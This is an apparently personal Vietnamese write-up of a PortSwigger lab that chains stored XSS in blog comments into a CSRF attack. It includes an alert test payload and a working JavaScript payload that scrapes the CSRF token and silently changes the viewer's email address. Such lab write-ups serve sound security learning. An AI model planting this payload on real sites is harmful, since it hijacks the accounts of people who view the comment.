### Web Academy PortSwigger
* Lab: [Lab: Exploiting XSS to perform CSRF](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf)
* Descript: This lab contains a stored XSS vulnerability in the blog comments function
* To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.
* Solved and Writeup by Me ^^!
* 

Đọc mô tả bên trên ,bài lab có lỗ hổng stored-XSS trong phần comments, lỗ hổng khá nghiêm trọng ảnh hưởng đến nhiều người dùng.
Để giải quyết bài lab, thực hiện khai thác XSS vuln để thực hiện tấn công Cross-Site Request Forgery(CSRF) để thay đổi email người dùng.

Truy cập lab ,ta có giao diện quen thuộc sau:


---

*Hình ảnh do hạn chế kích thước =<<*

---
Truy cập vào bài post bất kỳ ,thử test XSS trong phần comment: `<script>alert(":((")</script>`


Xem source page:


Ta xác nhận lab tồn tại stored-XSS.
Trang web có xác thực csrf, tiến hành xây dựng một đoạn script lấy csrf nhằm thực hiện cuộc tấn công CSRF:

---

<script>
fetch('/my-account')                       (1)
  .then(response => response.text())
  .then(responseText => {
    var csrfValue = responseText.match(/name="csrf" value="(\w+)"/)[1];

    fetch('/my-account/change-email', {    (2)
    method: 'POST',
    body: 'csrf=' + csrfValue + '&email=[e-mail]',
    });
  })
</script>

---
Giải thích từng phần đoạn script trên:

**(1)** Ta sử dụng fetch() trong Javascript để thực hiện GET request đến `/my-account`
* Sử dụng phương thức `then(response=>response.text())` để chuyển đổi response từ fetch() sang dạng text
* Xử lý kết quả từ `response.text` , sử dụng `match()` cùng với biểu thức chính quy để tìm kiếm `csrf` trên trang , gán giá trị cho biến `csrfValue`

**(2)** Sau khi thu được giá trị của `csrf token` ,
ta sử dụng `fetch()` để tạo `POST` request, giả mạo yêu cầu đổi email với `token csrf` vừa thu được:
* Tạo `POST` request tới page `/my-account/change-email`:
* Gửi nội dung xác thực với `crsf token` trong thuộc tính `body`

Paste đoạn script trên vào một comment post bất kỳ và Enter!!

---

---
Thông báo hiện ra , Lab đã được giải quyết!

---
Nhấn `Back to blog` để thực thi script , sau đó vào `My account` để kiểm tra :


Có lỗi về tên :<< , Email chưa được thay đổi (vẫn là email mặc định) , ta thực hiện lại script với `email = [e-mail]`:

---

Yeahhhh! Email đã đổi thành `[e-mail]`

*Note: Có thể xử dụng `XMLHttpRequest()` (ES3) để thay thế , nhưng dùng `fetch()` hiện đại hơn (ES6) , code sẽ dễ nhìn ,gọn hơn!*